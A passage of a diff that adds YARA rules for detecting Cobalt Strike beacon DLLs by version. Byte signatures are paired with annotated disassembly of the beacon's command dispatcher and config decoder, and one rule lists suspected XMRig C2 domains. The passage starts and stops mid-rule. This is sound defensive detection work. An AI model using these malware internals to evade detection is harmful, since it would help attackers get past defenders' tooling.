+		date = "2022-11-18"
+
+    id = "3ccbc0f2-241c-5c10-8930-4a3d264d3b57"
+  strings:
+    /*
+      48                dec     eax; switch 62 cases
+      57                push    edi
+      8B F2             mov     esi, edx
+      83 F8 3D          cmp     eax, 3Dh
+      0F 87 83 02 00 00 ja      def_10001130; jumptable 10001130 default case, cases 6-8,30
+      FF 24 ??          jmp     ds:jpt_10001130[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B F2 83 F8 3D 0F 87 83 02 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte ptr word_1002C040[eax], 69h
+      40             inc     eax
+      3D 10 06 00 00 cmp     eax, 610h
+      72 F1          jb      short loc_1000674A
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+
+    // Since v3.1 and v3.2 are so similiar, we use the v3.1 version_sig
+    // as a negating condition to diff between 3.1 and 3.2
+    /*
+      55             push    ebp
+      8B EC          mov     ebp, esp
+      83 EC 58       sub     esp, 58h
+      A1 [4]         mov     eax, ___security_cookie
+      33 C5          xor     eax, ebp
+      89 45 FC       mov     [ebp+var_4], eax
+      E8 DF F5 FF FF call    sub_10002109
+      6A 50          push    50h ; 'P'; namelen
+      8D 45 A8       lea     eax, [ebp+name]
+      50             push    eax; name
+      FF 15 [4]      call    ds:gethostname
+      8D 45 ??       lea     eax, [ebp+name]
+      50             push    eax; name
+      FF 15 [4]      call    ds:__imp_gethostbyname
+      85 C0          test    eax, eax
+      74 14          jz      short loc_10002B58
+      8B 40 0C       mov     eax, [eax+0Ch]
+      83 38 00       cmp     dword ptr [eax], 0
+      74 0C          jz      short loc_10002B58
+      8B 00          mov     eax, [eax]
+      FF 30          push    dword ptr [eax]; in
+      FF 15 [4]      call    ds:inet_ntoa
+      EB 05          jmp     short loc_10002B5D
+      B8 [4]         mov     eax, offset aUnknown; "unknown"
+      8B 4D FC       mov     ecx, [ebp+var_4]
+      33 CD          xor     ecx, ebp; StackCookie
+      E8 82 B7 00 00 call    @__security_check_cookie@4; __security_check_cookie(x)
+      C9             leave
+    */
+    $version3_1_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 }
+
+  condition:
+    $version_sig and $decoder and not $version3_1_sig
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_3
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.3"
+    hash = "158dba14099f847816e2fc22f254c60e09ac999b6c6e2ba6f90c6dd6d937bc42"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "7cce26c9-1403-535f-bd9d-19667c7e313c"
+  strings:
+    /*
+      48                dec     eax; switch 66 cases
+      57                push    edi
+      8B F1             mov     esi, ecx
+      83 F8 41          cmp     eax, 41h
+      0F 87 F0 02 00 00 ja      def_1000112D; jumptable 1000112D default case, cases 6-8,30
+      FF 24 ??          jmp     ds:jpt_1000112D[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B F1 83 F8 41 0F 87 F0 02 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte ptr word_1002C040[eax], 69h
+      40             inc     eax
+      3D 10 06 00 00 cmp     eax, 610h
+      72 F1          jb      short loc_1000674A
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_4
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.4"
+    hash = "5c40bfa04a957d68a095dd33431df883e3a075f5b7dea3e0be9834ce6d92daa3"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "58a34ab6-c061-59a2-b929-8519d3d844e7"
+  strings:
+    /*
+      48                dec     eax; switch 67 cases
+      57                push    edi
+      8B F1             mov     esi, ecx
+      83 F8 42          cmp     eax, 42h
+      0F 87 F0 02 00 00 ja      def_1000112D; jumptable 1000112D default case, cases 6-8,26,30
+      FF 24 ??          jmp     ds:jpt_1000112D[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B F1 83 F8 42 0F 87 F0 02 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte_1002E020[eax], 69h
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_10008741
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_5_hf1_and_3_5_1
+{
+  // Version 3.5-hf1 and 3.5.1 use the exact same beacon binary (same hash)
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.5-hf1 and 3.5.1 (3.5.x)"
+    hash = "c78e70cd74f4acda7d1d0bd85854ccacec79983565425e98c16a9871f1950525"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "1532596e-be0e-58c2-8d3b-5120c793d677"
+  strings:
+    /*
+      48                dec     eax; switch 68 cases
+      57                push    edi
+      8B F1             mov     esi, ecx
+      83 F8 43          cmp     eax, 43h
+      0F 87 07 03 00 00 ja      def_1000112D; jumptable 1000112D default case, cases 6-8,26,30
+      FF 24 ??          jmp     ds:jpt_1000112D[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B F1 83 F8 43 0F 87 07 03 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte_1002E020[eax], 69h
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_10008741
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_6
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.6"
+    hash = "495a744d0a0b5f08479c53739d08bfbd1f3b9818d8a9cbc75e71fcda6c30207d"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "7e7b5c22-82b3-5298-b794-b06d94a668d5"
+  strings:
+    /*
+      48                dec     eax; switch 72 cases
+      57                push    edi
+      8B F9             mov     edi, ecx
+      83 F8 47          cmp     eax, 47h
+      0F 87 2F 03 00 00 ja      def_1000100F; jumptable 1000100F default case, cases 6-8,26,30
+      FF 24 ??          jmp     ds:jpt_1000100F[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B F9 83 F8 47 0F 87 2F 03 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte_1002E020[eax], 69h
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_10008741
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_7
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.7"
+    hash = "f18029e6b12158fb3993f4951dab2dc6e645bb805ae515d205a53a1ef41ca9b2"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "6352a31c-34b8-5886-8e34-ef9221c22e6e"
+  strings:
+    /*
+      48                dec     eax; switch 74 cases
+      57                push    edi
+      8B F9             mov     edi, ecx
+      83 F8 49          cmp     eax, 49h
+      0F 87 47 03 00 00 ja      def_1000100F; jumptable 1000100F default case, cases 6-8,26,30
+      FF 24 ??          jmp     ds:jpt_1000100F[eax*4]; switch jump
+    */   
+    $version_sig = { 48 57 8B F9 83 F8 49 0F 87 47 03 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte_1002E020[eax], 69h
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_10008741
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_8
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.8"
+    hash = "67b6557f614af118a4c409c992c0d9a0cc800025f77861ecf1f3bbc7c293d603"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "6c65cbf8-2c60-5315-b3b2-48dfcee75733"
+  strings:
+    /*
+      48                dec     eax; switch 76 cases
+      57                push    edi
+      8B F9             mov     edi, ecx
+      83 F8 4B          cmp     eax, 4Bh
+      0F 87 5D 03 00 00 ja      def_1000100F; jumptable 1000100F default case, cases 6-8,26,30
+      FF 24 ??          jmp     ds:jpt_1000100F[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B F9 83 F8 4B 0F 87 5D 03 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte_1002E020[eax], 69h
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_10008741
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+    // XMRig uses a v3.8 sample to trick sandboxes into running their code. 
+    // These samples are the same and useless. This string removes many
+    // of them from our detection
+    $xmrig_srcpath = "C:/Users/SKOL-NOTE/Desktop/Loader/script.go"
+    // To remove others, we look for known xmrig C2 domains in the config:
+    $c2_1 = "ns7.softline.top" xor
+    $c2_2 = "ns8.softline.top" xor
+    $c2_3 = "ns9.softline.top" xor
+    //$a = /[A-Za-z]{1020}.{4}$/
+    
+  condition:
+    $version_sig and $decoder and (2 of ($c2_*) or $xmrig_srcpath)
+}
+
+/*
+
+  missing specific signatures for 3.9 and 3.10 since we don't have samples
+
+*/
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_11
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.11"
+    hash = "2428b93464585229fd234677627431cae09cfaeb1362fe4f648b8bee59d68f29"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+  // Original version from April 9, 2018
+    id = "00e42396-db81-5d43-90ee-5a97b379019e"
+  strings:
+    /*
+      48                dec     eax; switch 81 cases
+      57                push    edi
+      8B FA             mov     edi, edx
+      83 F8 50          cmp     eax, 50h
+      0F 87 11 03 00 00 ja      def_1000100F; jumptable 1000100F default case, cases 2,6-8,26,30,36
+      FF 24 ??          jmp     ds:jpt_1000100F[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B FA 83 F8 50 0F 87 11 03 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte_1002E020[eax], 69h
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_10008741
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_11_bugfix_and_v3_12
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.11-bugfix and 3.12"
+    hash = "5912c96fffeabb2c5c5cdd4387cfbfafad5f2e995f310ace76ca3643b866e3aa"
+    rs2 ="4476a93abe48b7481c7b13dc912090b9476a2cdf46a1c4287b253098e3523192"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+  // Covers both 3.11 (bug fix form May 25, 2018) and v3.12
+    id = "08ff2a2f-97bd-5839-b414-d67fbf2cdb0f"
+  strings:
+    /*
+      48                dec     eax; switch 81 cases
+      57                push    edi
+      8B FA             mov     edi, edx
+      83 F8 50          cmp     eax, 50h
+      0F 87 0D 03 00 00 ja      def_1000100F; jumptable 1000100F default case, cases 2,6-8,26,30,36
+      FF 24 ??          jmp     ds:jpt_1000100F[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B FA 83 F8 50 0F 87 0D 03 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte_1002E020[eax], 69h
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_10008741
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_13
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.13"
+    hash = "362119e3bce42e91cba662ea80f1a7957a5c2b1e92075a28352542f31ac46a0c"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "98dd32e6-9bb5-57b2-a5e5-1c74a0d1e6d3"
+  strings:
+    /*
+      4A                dec     edx; switch 91 cases
+      56                push    esi
+      57                push    edi
+      83 FA 5A          cmp     edx, 5Ah
+      0F 87 2D 03 00 00 ja      def_10008D01; jumptable 10008D01 default case, cases 2,6-8,20,21,26,30,36,63-66
+      FF 24 ??          jmp     ds:jpt_10008D01[edx*4]; switch jump
+    */
+    $version_sig = { 4A 56 57 83 FA 5A 0F 87 2D 03 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte_1002E020[eax], 69h
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_10008741
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_14
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.14"
+    hash = "254c68a92a7108e8c411c7b5b87a2f14654cd9f1324b344f036f6d3b6c7accda"
+    rs2 ="87b3eb55a346b52fb42b140c03ac93fc82f5a7f80697801d3f05aea1ad236730"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "00edfc72-c7b8-5100-8275-ae3548b96e49"
+  strings:
+    /*
+      83 FA 5B  cmp     edx, 5Bh
+      77 15     ja      short def_1000939E; jumptable 1000939E default case, cases 2,6-8,20,21,26,30,36,63-66
+      FF 24 ??  jmp     ds:jpt_1000939E[edx*4]; switch jump
+    */
+    $version_sig = { 83 FA 5B 77 15 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte_1002E020[eax], 69h
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_10008741
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Sleeve_Beacon_Dll_v4_0_suspected
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.dll Versions 4.0 (suspected, not confirmed)"
+    hash =  "e2b2b72454776531bbc6a4a5dd579404250901557f887a6bccaee287ac71b248"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "50ff6e44-ebc0-5000-a816-b385a6675768"
+  strings:
+    /*
+      51                   push    ecx
+      4A                   dec     edx; switch 99 cases
+      56                   push    esi
+      57                   push    edi
+      83 FA 62             cmp     edx, 62h
+      0F 87 8F 03 00 00    ja      def_100077C3; jumptable 100077C3 default case, cases 2,6-8,20,21,25,26,30,34-36,63-66
+      FF 24 95 56 7B 00 10 jmp     ds:jpt_100077C3[edx*4]; switch jump
+    */
+
+    $version_sig = { 51 4A 56 57 83 FA 62 0F 87 8F 03 00 00 FF 24 95 56 7B 00 10 }
+
+    /*
+      80 B0 20 00 03 10 ??  xor     byte_10030020[eax], 2Eh
+      40                    inc     eax
+      3D 00 10 00 00        cmp     eax, 1000h
+      7C F1                 jl      short loc_1000912B
+    */
+
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Sleeve_Beacon_Dll_v4_1_and_v4_2
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.dll Versions 4.1 and 4.2"
+    hash = "daa42f4380cccf8729129768f3588bb98e4833b0c40ad0620bb575b5674d5fc3"
+    rs2 ="9de55f27224a4ddb6b2643224a5da9478999c7b2dea3a3d6b3e1808148012bcf"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "793df916-bdf7-5743-b008-0113caf38bae"
+  strings:
+    /*
+      48                dec     eax; switch 100 cases
+      57                push    edi
+      8B F2             mov     esi, edx
+      83 F8 63          cmp     eax, 63h
+      0F 87 3C 03 00 00 ja      def_10007F28; jumptable 10007F28 default case, cases 2,6-8,20,21,25,26,29,30,34-36,58,63-66,80,81,95-97
+      FF 24 ??          jmp     ds:jpt_10007F28[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B F2 83 F8 63 0F 87 3C 03 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 3E   xor     byte_10031010[eax], 3Eh
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_10009791
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Sleeve_Beacon_Dll_v4_3_v4_4_v4_5_and_v4_6
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.dll Versions 4.3 and 4.4"
+    hash = "51490c01c72c821f476727c26fbbc85bdbc41464f95b28cdc577e5701790845f"
+    rs2 ="78a6fbefa677eeee29d1af4a294ee57319221b329a2fe254442f5708858b37dc"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "976e087c-f371-5fc6-85f8-9c803a91f549"
+  strings:
+    /*
+      48                dec     eax; switch 102 cases
+      57                push    edi
+      8B F2             mov     esi, edx
+      83 F8 65          cmp     eax, 65h
+      0F 87 47 03 00 00 ja      def_10007EAD; jumptable 10007EAD default case, cases 2,6-8,20,21,25,26,29,30,34-36,48,58,63-66,80,81,95-97
+      FF 24 ??          jmp     ds:jpt_10007EAD[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B F2 83 F8 65 0F 87 47 03 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 3E   xor     byte_10031010[eax], 3Eh
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_10009791
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Sleeve_Beacon_Dll_v4_7_suspected
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.dll Versions 4.7 (suspected, not confirmed)"
+    hash =  "da9e91b3d8df3d53425dd298778782be3bdcda40037bd5c92928395153160549"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "4b6f90dd-69f3-5555-9195-6a0aed0fff58"
+  strings:
+
+    /*
+      53                push    ebx
+      56                push    esi
+      48                dec     eax; switch 104 cases
+      57                push    edi
+      8B F2             mov     esi, edx
+      83 F8 67          cmp     eax, 67h
+      0F 87 5E 03 00 00 ja      def_10008997; jumptable 10008997 default case, cases 2,6-8,20,21,25,26,29,30,34-36,48,58,63-66,80,81,95-97
+    */
+    $version_sig = { 53 56 48 57 8B F2 83 F8 67 0F 87 5E 03 00 00  }
+
+    /*
+      80 B0 [5]      xor     byte_10033020[eax], 2Eh
+      40             inc     eax
+      3D 00 10 00 00 cmp     eax, 1000h
+      7C F1          jl      short loc_1000ADA1
+    */
+
+    $decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+/*
+
+ 64-bit Beacons.
+ 
+ These signatures are a bit different. The decoders are all identical in the 4.x
+ series and the command processor doesn't use a switch/case idiom, but rather
+ an expanded set of if/then/else branches. This invalidates our method for
+ detecting the versions of the beacons by looking at the case count check
+ used by the 32-bit versions. As such, we are locking in on "random",
+ non-overlapping between version, sections of code in the command processor. 
+ While a reasonable method is to look for blocks of Jcc which will have specific
+ address offsets per version, this generally is insufficient due to the lack of 
+ code changes. As such, the best method appears to be to look for specific
+ function call offsets
+
+ NOTE: There are only VERY subtle differences between the following versions:
+  * 3.2 and 3.3
+  * 3.4 and 3.5-hf1/3.5.1
+  * 3.12, 3.13 and 3.14
+  * 4.3 and 4.4-4.6 . 
+  
+ Be very careful if you modify the $version_sig field for either of those rules. 
+*/
+
+
+rule CobaltStrike_Resources_Beacon_x64_v3_2
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.2"
+    hash =  "5993a027f301f37f3236551e6ded520e96872723a91042bfc54775dcb34c94a1"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "61188243-0b90-5bff-bcc8-50f10ed941f6"
+  strings:
+    /*
+      4C 8D 05 9F F8 FF FF lea     r8, sub_18000C4B0
+      8B D3                mov     edx, ebx
+      48 8B CF             mov     rcx, rdi
+      E8 05 1A 00 00       call    sub_18000E620
+      EB 0A                jmp     short loc_18000CC27
+      8B D3                mov     edx, ebx
+      48 8B CF             mov     rcx, rdi
+      E8 41 21 00 00       call    sub_18000ED68
+      48 8B 5C 24 30       mov     rbx, [rsp+28h+arg_0]
+      48 83 C4 20          add     rsp, 20h
+    */
+
+    $version_sig = { 4C 8D 05 9F F8 FF FF 8B D3 48 8B CF E8 05 1A 00 00
+                     EB 0A 8B D3 48 8B CF E8 41 21 00 00 48 8B 5C 24 30
+                     48 83 C4 20 }
+    
+    /*
+      80 31 ??          xor     byte ptr [rcx], 69h
+      FF C2             inc     edx
+      48 FF C1          inc     rcx
+      48 63 C2          movsxd  rax, edx
+      48 3D 10 06 00 00 cmp     rax, 610h
+    */
+
+    $decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 }
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_x64_v3_3
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.3"
+    hash =  "7b00721efeff6ed94ab108477d57b03022692e288cc5814feb5e9d83e3788580"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "fb96ecff-809e-5704-974e-a2d8ef022daa"
+  strings:
+    /*
+      8B D3                mov     edx, ebx
+      48 8B CF             mov     rcx, rdi
+      E8 89 66 00 00       call    sub_1800155E8
+      E9 23 FB FF FF       jmp     loc_18000EA87
+      41 B8 01 00 00 00    mov     r8d, 1
+      E9 F3 FD FF FF       jmp     loc_18000ED62
+      48 8D 0D 2A F8 FF FF lea     rcx, sub_18000E7A0
+      E8 8D 2B 00 00       call    sub_180011B08
+      48 8B 5C 24 30       mov     rbx, [rsp+28h+arg_0]
+      48 83 C4 20          add     rsp, 20h
+    */
+
+    $version_sig = { 8B D3 48 8B CF E8 89 66 00 00 E9 23 FB FF FF 
+                     41 B8 01 00 00 00 E9 F3 FD FF FF 48 8D 0D 2A F8 FF FF
+                     E8 8D 2B 00 00 48 8B 5C 24 30 48 83 C4 20 }
+
+    /*
+      80 31 ??          xor     byte ptr [rcx], 69h
+      FF C2             inc     edx
+      48 FF C1          inc     rcx
+      48 63 C2          movsxd  rax, edx
+      48 3D 10 06 00 00 cmp     rax, 610h
+    */
+
+    $decoder = { 80 31 ?? FF C2 48 FF C1 48 63 C2 48 3D 10 06 00 00 }
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_x64_v3_4
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.4"
+    hash =  "5a4d48c2eda8cda79dc130f8306699c8203e026533ce5691bf90363473733bf0"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "97ef152c-86c7-513c-a881-e7d594d38dcf"
+  strings:
+    /*
+      8B D3             mov     edx, ebx
+      48 8B CF          mov     rcx, rdi
+      E8 56 6F 00 00    call    sub_180014458
+      E9 17 FB FF FF    jmp     loc_18000D01E
+      41 B8 01 00 00 00 mov     r8d, 1
+      8B D3             mov     edx, ebx
+      48 8B CF          mov     rcx, rdi
+      E8 41 4D 00 00    call    sub_180012258
+      48 8B 5C 24 30    mov     rbx, [rsp+28h+arg_0]
+      48 83 C4 20       add     rsp, 20h
+    */
+    $version_sig = { 8B D3 48 8B CF E8 56 6F 00 00 E9 17 FB FF FF
+                     41 B8 01 00 00 00 8B D3 48 8B CF E8 41 4D 00 00
+                     48 8B 5C 24 30 48 83 C4 20 }
+
+    /*
+      80 34 28 ??       xor     byte ptr [rax+rbp], 69h
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_18001600E
+    */
+    
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_x64_v3_5_hf1_and_v3_5_1
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.5-hf1 and 3.5.1"
+    hash =  "934134ab0ee65ec76ae98a9bb9ad0e9571d80f4bf1eb3491d58bacf06d42dc8d"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "0c0e87d3-e0e2-5ddc-9d89-5e56443da4b8"
+  strings:
+    /*
+      8B D3             mov     edx, ebx
+      48 8B CF          mov     rcx, rdi
+      E8 38 70 00 00    call    sub_180014548
+      E9 FD FA FF FF    jmp     loc_18000D012
+      41 B8 01 00 00 00 mov     r8d, 1
+      8B D3             mov     edx, ebx
+      48 8B CF          mov     rcx, rdi
+      E8 3F 4D 00 00    call    sub_180012264
+      48 8B 5C 24 30    mov     rbx, [rsp+28h+arg_0]
+      48 83 C4 20       add     rsp, 20h
+      5F                pop     rdi
+    */
+
+    $version_sig = { 8B D3 48 8B CF E8 38 70 00 00 E9 FD FA FF FF 
+                     41 B8 01 00 00 00 8B D3 48 8B CF E8 3F 4D 00 00 
+                     48 8B 5C 24 30 48 83 C4 20 5F }
+
+    /*
+      80 34 28 ??       xor     byte ptr [rax+rbp], 69h
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_180016B3E
+    */
+
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_x64_v3_6
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.6"
+    hash =  "92b0a4aec6a493bcb1b72ce04dd477fd1af5effa0b88a9d8283f26266bb019a1"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "9651a1ca-d8ea-5b0b-bcba-a850c2e07791"
+  strings:
+    /*
+      48 89 5C 24 08    mov     [rsp+arg_0], rbx
+      57                push    rdi
+      48 83 EC 20       sub     rsp, 20h
+      41 8B D8          mov     ebx, r8d
+      48 8B FA          mov     rdi, rdx
+      83 F9 27          cmp     ecx, 27h ; '''
+      0F 87 47 03 00 00 ja      loc_18000D110
+      0F 84 30 03 00 00 jz      loc_18000D0FF
+      83 F9 14          cmp     ecx, 14h
+      0F 87 A4 01 00 00 ja      loc_18000CF7C
+      0F 84 7A 01 00 00 jz      loc_18000CF58
+      83 F9 0C          cmp     ecx, 0Ch
+      0F 87 C8 00 00 00 ja      loc_18000CEAF
+      0F 84 B3 00 00 00 jz      loc_18000CEA0
+    */
+    $version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 27
+                     0F 87 47 03 00 00 0F 84 30 03 00 00 83 F9 14
+                     0F 87 A4 01 00 00 0F 84 7A 01 00 00 83 F9 0C
+                     0F 87 C8 00 00 00 0F 84 B3 00 00 00 }
+
+    /*
+      80 34 28 ??       xor     byte ptr [rax+rbp], 69h
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_180016B3E
